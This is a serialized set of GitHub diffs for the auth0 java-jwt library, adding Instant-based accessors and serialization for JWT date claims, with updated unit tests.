     String getString(Map<String, JsonNode> tree, String claimName) {u}(j   (a446741cb1b143347b4727be7b5518365d89cc56j  5lib/src/main/java/com/auth0/jwt/impl/PayloadImpl.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadImpl.java?ref=69691563e76f483d97d93aad04216485e82abda7j  Xo  @@ -6,6 +6,7 @@
 import com.fasterxml.jackson.databind.ObjectReader;
 
 import java.io.Serializable;
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JsonNodeClaim.extractClaim;
@@ -24,14 +25,14 @@ class PayloadImpl implements Payload, Serializable {
     private final String issuer;
     private final String subject;
     private final List<String> audience;
-    private final Date expiresAt;
-    private final Date notBefore;
-    private final Date issuedAt;
+    private final Instant expiresAt;
+    private final Instant notBefore;
+    private final Instant issuedAt;
     private final String jwtId;
     private final Map<String, JsonNode> tree;
     private final ObjectReader objectReader;
 
-    PayloadImpl(String issuer, String subject, List<String> audience, Date expiresAt, Date notBefore, Date issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
+    PayloadImpl(String issuer, String subject, List<String> audience, Instant expiresAt, Instant notBefore, Instant issuedAt, String jwtId, Map<String, JsonNode> tree, ObjectReader objectReader) {
         this.issuer = issuer;
         this.subject = subject;
         this.audience = audience != null ? Collections.unmodifiableList(audience) : null;
@@ -64,19 +65,35 @@ public List<String> getAudience() {
 
     @Override
     public Date getExpiresAt() {
-        return expiresAt;
+        return (expiresAt != null) ? Date.from(expiresAt) : null;
     }
 
+
     @Override
-    public Date getNotBefore() {
-        return notBefore;
+    public Instant getExpiresAtAsInstant() {
+        return expiresAt;
     }
 
     @Override
     public Date getIssuedAt() {
+        return (issuedAt != null) ? Date.from(issuedAt) : null;
+    }
+
+    @Override
+    public Instant getIssuedAtAsInstant() {
         return issuedAt;
     }
 
+    @Override
+    public Date getNotBefore() {
+        return (notBefore != null) ? Date.from(notBefore) : null;
+    }
+
+    @Override
+    public Instant getNotBeforeAsInstant() {
+        return notBefore;
+    }
+
     @Override
     public String getId() {
         return jwtId;u}(j   (0389121c8302008b0d1f399cc4ad6321bbd48eb4j  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj  modifiedj  K	j  Kj  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X   @@ -5,6 +5,7 @@
 import com.fasterxml.jackson.databind.ser.std.StdSerializer;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 /**
@@ -71,13 +72,15 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
     }
 
     /**
-     * Serializes {@linkplain Date} to epoch second values, traversing maps and lists as needed.
+     * Serializes {@linkplain Instant} to epoch second values, traversing maps and lists as needed.
      * @param value the object to serialize
      * @param gen the JsonGenerator to use for JSON serialization
      */
     private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
-        if (value instanceof Date) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom date claims
+        if (value instanceof Date) {
             gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Instant) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom Instant claims
+            gen.writeNumber(instantToSeconds((Instant) value));
         } else if (value instanceof Map) {
             serializeMap((Map<?, ?>) value, gen);
         } else if (value instanceof List) {
@@ -105,6 +108,10 @@ private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
         gen.writeEndArray();
     }
 
+    private long instantToSeconds(Instant instant) {
+        return instant.getEpochSecond();
+    }
+
     private long dateToSeconds(Date date) {
         return date.getTime() / 1000;
     }u}(j   (cc5256f4dd342766e47ab1a1e555e4d984c92461j  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -2,6 +2,7 @@
 
 import com.auth0.jwt.exceptions.JWTDecodeException;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -66,6 +67,17 @@ public interface Claim {
      */
     Date asDate();
 
+    /**
+     * Get this Claim as an Instant.
+     * If the value can't be converted to an Instant, null will be returned.
+     *
+     * @return the value as a Date or null.
+     */
+    default Instant asInstant() {
+        Date date = asDate();
+        return date != null ? date.toInstant() : null;
+    }
+
     /**
      * Get this Claim as an Array of type T.
      * If the value isn't an Array, null will be returned.u}(j   (b3bf71f5cc956047b5bd6626971dcc7236e92d31j  7lib/src/main/java/com/auth0/jwt/interfaces/Payload.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X-  @@ -1,5 +1,6 @@
 package com.auth0.jwt.interfaces;
 
+import java.time.Instant;
 import java.util.Date;
 import java.util.List;
 import java.util.Map;
@@ -37,20 +38,47 @@ public interface Payload {
      */
     Date getExpiresAt();
 
+    /**
+     * Get the value of the "exp" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Expiration Time value or null.
+     */
+    default Instant getExpiresAtAsInstant() {
+        return getExpiresAt() != null ? getExpiresAt().toInstant() : null;
+    }
+
     /**
      * Get the value of the "nbf" claim, or null if it's not available.
      *
      * @return the Not Before value or null.
      */
     Date getNotBefore();
 
+    /**
+     * Get the value of the "nbf" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Not Before value or null.
+     */
+    default Instant getNotBeforeAsInstant() {
+        return getNotBefore() != null ? getNotBefore().toInstant() : null;
+    }
+
     /**
      * Get the value of the "iat" claim, or null if it's not available.
      *
      * @return the Issued At value or null.
      */
     Date getIssuedAt();
 
+    /**
+     * Get the value of the "iat" claim as an {@linkplain Instant}, or null if it's not available.
+     *
+     * @return the Issued At value or null.
+     */
+    default Instant getIssuedAtAsInstant() {
+        return getIssuedAt() != null ? getIssuedAt().toInstant() : null;
+    }
+
     /**
      * Get the value of the "jti" claim, or null if it's not available.
      *u}(j   (c6fff1f2b466354d2e9130788e2a33dc54d9162fj  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj  KAj  Kj  KSj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  Xs!  @@ -13,6 +13,7 @@
 import java.nio.charset.StandardCharsets;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAPrivateKey;
+import java.time.Instant;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
@@ -64,7 +65,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() {
 
     @Test
     public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
@@ -80,7 +81,7 @@ public void shouldOverwriteExistingHeaderIfHeaderMapContainsTheSameKey() {
 
     @Test
     public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, "xyz");
 
         String signed = JWTCreator.init()
@@ -96,7 +97,7 @@ public void shouldOverwriteExistingHeadersWhenSettingSameHeaderKey() {
 
     @Test
     public void shouldRemoveHeaderIfTheValueIsNull() {
-        Map<String, Object> header = new HashMap<String, Object>();
+        Map<String, Object> header = new HashMap<>();
         header.put(PublicClaims.KEY_ID, null);
         header.put("test2", "isSet");
 
@@ -271,6 +272,17 @@ public void shouldAddExpiresAt() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddExpiresAtInstant() {
+        String signed = JWTCreator.init()
+                .withExpiresAt(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        System.out.println(signed);
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJleHAiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddNotBefore() {
         String signed = JWTCreator.init()
@@ -281,6 +293,16 @@ public void shouldAddNotBefore() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddNotBeforeInstant() {
+        String signed = JWTCreator.init()
+                .withNotBefore(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJuYmYiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddIssuedAt() {
         String signed = JWTCreator.init()
@@ -291,6 +313,16 @@ public void shouldAddIssuedAt() {
         assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
     }
 
+    @Test
+    public void shouldAddIssuedAtInstant() {
+        String signed = JWTCreator.init()
+                .withIssuedAt(Instant.ofEpochSecond(1477592))
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(signed, is(notNullValue()));
+        assertThat(TokenUtils.splitToken(signed)[1], is("eyJpYXQiOjE0Nzc1OTJ9"));
+    }
+
     @Test
     public void shouldAddJWTId() {
         String signed = JWTCreator.init()
@@ -430,6 +462,18 @@ public void shouldAcceptCustomClaimOfTypeDate() {
         assertThat(parts[1], is("eyJuYW1lIjoxNDc4ODkxNTIxfQ"));
     }
 
+    @Test
+    public void shouldAcceptCustomClaimOfTypeDateInstant() {
+        Instant instant = Instant.ofEpochSecond(1478891521);
+        String jwt = JWTCreator.init()
+                .withClaim("name", instant)
+                .sign(Algorithm.HMAC256("secret"));
+
+        assertThat(jwt, is(notNullValue()));
+        String[] parts = jwt.split("\\.");
+        assertThat(parts[1], is("eyJuYW1lIjoxNDc4ODkxNTIxfQ"));
+    }
+
     @Test
     public void shouldAcceptCustomArrayClaimOfTypeString() {
         String jwt = JWTCreator.init()
@@ -499,7 +543,8 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         data.put("integer", 1);
         data.put("long", Long.MAX_VALUE);
         data.put("double", 123.456d);
-        data.put("date", new Date(123000));
+        data.put("date", new Date(123000L));
+        data.put("instant", Instant.ofEpochSecond(123));
         data.put("boolean", true);
 
         // array types
@@ -531,12 +576,13 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         assertThat(map.get("double"), is(123.456d));
 
         assertThat(map.get("date"), is(123));
+        assertThat(map.get("instant"), is(123));
         assertThat(map.get("boolean"), is(true));
 
         // array types
         assertThat(map.get("intArray"), is(Arrays.asList(3, 5)));
         assertThat(map.get("longArray"), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
-        assertThat(map.get("stringArray"), is(Arrays.asList("string")));
+        assertThat(map.get("stringArray"), is(Collections.singletonList("string")));
 
         // list
         assertThat(map.get("list"), is(Arrays.asList("a", "b", "c")));
@@ -554,7 +600,8 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(1);
         data.add(Long.MAX_VALUE);
         data.add(123.456d);
-        data.add(new Date(123000));
+        data.add(new Date(123000L));
+        data.add(Instant.ofEpochSecond(123));
         data.add(true);
 
         // array types
@@ -585,17 +632,17 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         assertThat(list.get(2), is(Long.MAX_VALUE));
         assertThat(list.get(3), is(123.456d));
         assertThat(list.get(4), is(123));
-        assertThat(list.get(5), is(true));
+        assertThat(list.get(5), is(123));
+        assertThat(list.get(6), is(true));
 
         // array types
-        assertThat(list.get(6), is(Arrays.asList(3, 5)));
-        assertThat(list.get(7), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
-        assertThat(list.get(8), is(Arrays.asList("string")));
+        assertThat(list.get(7), is(Arrays.asList(3, 5)));
+        assertThat(list.get(8), is(Arrays.asList(Long.MAX_VALUE, Long.MIN_VALUE)));
+        assertThat(list.get(9), is(Arrays.asList("string")));
 
         // list
-        assertThat(list.get(9), is(Arrays.asList("a", "b", "c")));
-        assertThat(list.get(10), is(sub));
-
+        assertThat(list.get(10), is(Arrays.asList("a", "b", "c")));
+        assertThat(list.get(11), is(sub));
     }
 
     @Test
@@ -681,7 +728,7 @@ public void shouldRefuseCustomMapClaimForNonStringKey() {
 
     @Test
     public void shouldRefuseCustomListClaimForUnknownListElement() {
-        List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
+        List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));
 
         exception.expect(IllegalArgumentException.class);
 
@@ -692,7 +739,7 @@ public void shouldRefuseCustomListClaimForUnknownListElement() {
 
     @Test
     public void shouldRefuseCustomListClaimForUnknownListElementWrappedInAMap() {
-        List<Object> list = Arrays.asList(new UserPojo("Michael", 255));
+        List<Object> list = Collections.singletonList(new UserPojo("Michael", 255));
 
         Map<String, Object> data = new HashMap<>();
         data.put("someList", list);
@@ -798,7 +845,7 @@ public void withPayloadShouldNotAllowCustomType() {
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
         payload.put("pojo", new UserPojo("name", 42));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
@@ -824,7 +871,7 @@ public void withPayloadShouldNotAllowListWithCustomType() {
 
         Map<String, Object> payload = new HashMap<>();
         payload.put("list", Arrays.asList("item1", new UserPojo("name", 42)));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }
@@ -837,7 +884,7 @@ public void withPayloadShouldNotAllowMapWithCustomType() {
         Map<String, Object> payload = new HashMap<>();
         payload.put("entry", "value");
         payload.put("map", Collections.singletonMap("pojo", new UserPojo("name", 42)));
-        String jwt = JWTCreator.init()
+        JWTCreator.init()
                 .withPayload(payload)
                 .sign(Algorithm.HMAC256("secret"));
     }u}(j   (a9e8f248fa272fd1a95e0f02843d20f1dfa0b79cj  3lib/src/test/java/com/auth0/jwt/JWTDecoderTest.javaj  modifiedj  Kj  Kj  K"j  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoderTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X<  @@ -12,6 +12,7 @@
 
 import java.io.*;
 import java.nio.charset.StandardCharsets;
+import java.time.Instant;
 import java.util.Base64;
 import java.util.Date;
 import java.util.Map;
@@ -156,33 +157,27 @@ public void shouldGetStringAudience() {
     public void shouldGetExpirationTime() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE0NzY3MjcwODZ9.L9dcPHEDQew2u9MkDCORFkfDGcSOsgoPqNY-LUMLEHg");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getExpiresAt(), is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getExpiresAt(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getExpiresAtAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
     public void shouldGetNotBefore() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOjE0NzY3MjcwODZ9.tkpD3iCPQPVqjnjpDVp2bJMBAgpVCG9ZjlBuMitass0");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getNotBefore(), is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(equalTo(expectedDate)));
+        assertThat(jwt.getNotBefore(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getNotBeforeAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
     public void shouldGetIssuedAt() {
         DecodedJWT jwt = JWT.decode("eyJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE0NzY3MjcwODZ9.KPjGoW665E8V5_27Jugab8qSTxLk2cgquhPCBfAP0_w");
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
         long ms = 1476727086L * 1000;
-        Date expectedDate = new Date(ms);
-        assertThat(jwt.getIssuedAt(), is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(equalTo(expectedDate)));
+        assertThat(jwt.getIssuedAt(), is(equalTo(new Date(ms))));
+        assertThat(jwt.getIssuedAtAsInstant(), is(equalTo(Instant.ofEpochMilli(ms))));
     }
 
     @Test
@@ -272,6 +267,15 @@ public void shouldGetCustomClaimOfTypeDate() {
         assertThat(jwt.getClaim("name").asDate().getTime(), is(date.getTime()));
     }
 
+    @Test
+    public void shouldGetCustomClaimOfTypeInstant() {
+        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoxNDc4ODkxNTIxfQ.mhioumeok8fghQEhTKF3QtQAksSvZ_9wIhJmgZLhJ6c";
+        Instant instant = Instant.ofEpochSecond(1478891521L);
+        DecodedJWT jwt = JWT.decode(token);
+        assertThat(jwt, is(notNullValue()));
+        assertThat(jwt.getClaim("name").asInstant(), is(equalTo(instant)));
+    }
+
     @Test
     public void shouldGetCustomArrayClaimOfTypeString() {
         String token = "eyJhbGciOiJIUzI1NiJ9.eyJuYW1lIjpbInRleHQiLCIxMjMiLCJ0cnVlIl19.lxM8EcmK1uSZRAPd0HUhXGZJdauRmZmLjoeqz4J9yAA";
@@ -294,9 +298,9 @@ public void shouldGetCustomMapClaim() {
         DecodedJWT jwt = JWT.decode(token);
         assertThat(jwt, is(notNullValue()));
         Map<String, Object> map = jwt.getClaim("name").asMap();
-        assertThat(map, hasEntry("string", (Object) "value"));
-        assertThat(map, hasEntry("number", (Object) 1));
-        assertThat(map, hasEntry("boolean", (Object) true));
+        assertThat(map, hasEntry("string", "value"));
+        assertThat(map, hasEntry("number", 1));
+        assertThat(map, hasEntry("boolean", true));
     }
 
     @Testu}(j   (2015c03718be2cefc6573e087c08e8f09cb7083cj  ,lib/src/test/java/com/auth0/jwt/JWTTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  XH  @@ -21,8 +21,6 @@
 
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
 
 public class JWTTest {
 
@@ -285,9 +283,9 @@ public void shouldGetExpirationTime() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getExpiresAt(), is(instanceOf(Date.class)));
-        assertThat(jwt.getExpiresAt(), is(notNullValue()));
         assertThat(jwt.getExpiresAt(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getExpiresAtAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
+
     }
 
     @Test
@@ -302,9 +300,8 @@ public void shouldGetNotBefore() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getNotBefore(), is(instanceOf(Date.class)));
-        assertThat(jwt.getNotBefore(), is(notNullValue()));
         assertThat(jwt.getNotBefore(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getNotBeforeAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
     }
 
     @Test
@@ -319,9 +316,8 @@ public void shouldGetIssuedAt() {
                 .verify(token);
 
         assertThat(jwt, is(notNullValue()));
-        assertThat(jwt.getIssuedAt(), is(instanceOf(Date.class)));
-        assertThat(jwt.getIssuedAt(), is(notNullValue()));
         assertThat(jwt.getIssuedAt(), is(equalTo(new Date(seconds * 1000))));
+        assertThat(jwt.getIssuedAtAsInstant(), is(equalTo(Instant.ofEpochSecond(seconds))));
     }
 
     @Testu}(j   (acc633fceed20986be4334a7a96327359611da86j  4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X  @@ -19,17 +19,15 @@
 import java.util.HashMap;
 import java.util.Map;
 
-import static org.hamcrest.Matchers.startsWith;
-import static org.hamcrest.Matchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
-import static org.mockito.Mockito.*;
-import static org.junit.Assert.assertThrows;
+import static org.hamcrest.Matchers.*;
+import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
 
-    private Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
-    private Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
-    private Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
+    private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));
+    private final Clock mockOneSecondEarlier = Clock.offset(mockNow, Duration.ofSeconds(-1));
+    private final Clock mockOneSecondLater = Clock.offset(mockNow, Duration.ofSeconds(1));
 
     @Rule
     public ExpectedException exception = ExpectedException.none();u}(j   (3c744487f244f523019dbf2934fd3a75a85ecc01j  ;lib/src/test/java/com/auth0/jwt/impl/JsonNodeClaimTest.javaj  modifiedj  K
j  Kj  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FJsonNodeClaimTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  X)  @@ -20,14 +20,14 @@
 import org.mockito.ArgumentMatchers;
 
 import java.io.IOException;
+import java.time.Instant;
 import java.util.*;
 
 import static com.auth0.jwt.impl.JWTParser.getDefaultObjectMapper;
-import static com.auth0.jwt.impl.JsonNodeClaim.claimFromNode;
+import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
 import static org.hamcrest.core.IsNull.notNullValue;
 import static org.hamcrest.core.IsNull.nullValue;
-import static org.hamcrest.MatcherAssert.assertThat;
 import static org.mockito.Mockito.*;
 
 public class JsonNodeClaimTest {
@@ -117,20 +117,23 @@ public void shouldGetNullDoubleIfNotDoubleValue() {
     }
 
     @Test
-    public void shouldGetDateValue() {
-        JsonNode value = mapper.valueToTree(1476824844L);
+    public void shouldGetNumericDateValue() {
+        long seconds = 1476824844L;
+        JsonNode value = mapper.valueToTree(seconds);
         Claim claim = claimFromNode(value);
 
-        assertThat(claim.asDate(), is(notNullValue()));
-        assertThat(claim.asDate(), is(new Date(1476824844L * 1000)));
+        assertThat(claim.asDate(), is(new Date(seconds * 1000)));
+        assertThat(claim.asInstant(), is(Instant.ofEpochSecond(seconds)));
     }
 
     @Test
-    public void shouldGetNullDateIfNotDateValue() {
+    public void shouldGetNullIfNotNumericDateValue() {
         JsonNode objectValue = mapper.valueToTree(new Object());
         assertThat(claimFromNode(objectValue).asDate(), is(nullValue()));
+        assertThat(claimFromNode(objectValue).asInstant(), is(nullValue()));
         JsonNode stringValue = mapper.valueToTree("1476824844");
         assertThat(claimFromNode(stringValue).asDate(), is(nullValue()));
+        assertThat(claimFromNode(stringValue).asInstant(), is(nullValue()));
     }
 
     @Testu}(j   (bd4781305346f9534f7232c14696fcf41508b49aj  7lib/src/test/java/com/auth0/jwt/impl/NullClaimTest.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://github.com/auth0/java-jwt/raw/69691563e76f483d97d93aad04216485e82abda7/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FNullClaimTest.java?ref=69691563e76f483d97d93aad04216485e82abda7j  XZ  @@ -50,6 +50,11 @@ public void shouldGetAsDate() {
         assertThat(claim.asDate(), is(nullValue()));
     }
 
+    @Test
+    public void shouldGetAsInstant() {
+        assertThat(claim.asInstant(), is(nullValue()));
+    }
+
     @Test
     public void shouldGetAsArray() {
